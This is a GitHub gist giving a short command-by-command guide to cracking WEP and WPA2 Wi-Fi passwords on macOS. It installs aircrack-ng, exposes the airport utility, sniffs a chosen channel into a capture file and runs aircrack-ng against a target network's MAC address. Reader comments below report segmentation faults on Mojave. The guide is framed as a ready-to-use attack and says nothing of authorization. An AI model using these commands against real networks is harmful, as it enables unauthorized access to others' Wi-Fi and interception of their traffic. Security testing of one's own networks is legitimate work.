Skip to content

Instantly share code, notes, and snippets.

@mtrovilho
Forked from victorreyesh/Aircrack Commands
Last active January 11, 2020 21:08
Show Gist options
  • Star 24 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save mtrovilho/e65abe9288b6885864be7b5dd7d87e26 to your computer and use it in GitHub Desktop.
Save mtrovilho/e65abe9288b6885864be7b5dd7d87e26 to your computer and use it in GitHub Desktop.
Cracking WPA2 / WEP Wifi / Aircrack 10 seconds guide. For Mac OSX
// Install the latest Xcode, with the Command Line Tools.
// Install Homebrew
// Install aircrack-ng:
brew install aircrack-ng
// Create the following symlink:
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/sbin/airport
// Figure out which channel you need to sniff:
sudo airport -s
// Sniff
// NOTE: the cap_file will be located in the /tmp/airportSniff*.cap.
sudo airport en1 sniff [CHANNEL]
// Crack
// Optional flags: -1 only 1 try with PTW
// -a attack mode (1/WEP, 2/WPA-PSK)
aircrack-ng -b [TARGET_MAC_ADDRESS] [CAP_FILE]
@dannykansas
Copy link

dannykansas commented Jan 8, 2017

good find with the /usr/local/sbin/airport for OS X El Capitan. I was starting to think the utility wasn't included, actually just a permission issue

@tushar1998
Copy link

Segmentation fault : 11 while running the command sudo airport en0 sniff [CHANNEL]

currently on mac osX Mojave 10.14

@mickael-btc
Copy link

i have a segmentation fault 11 too with mac os mojave

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment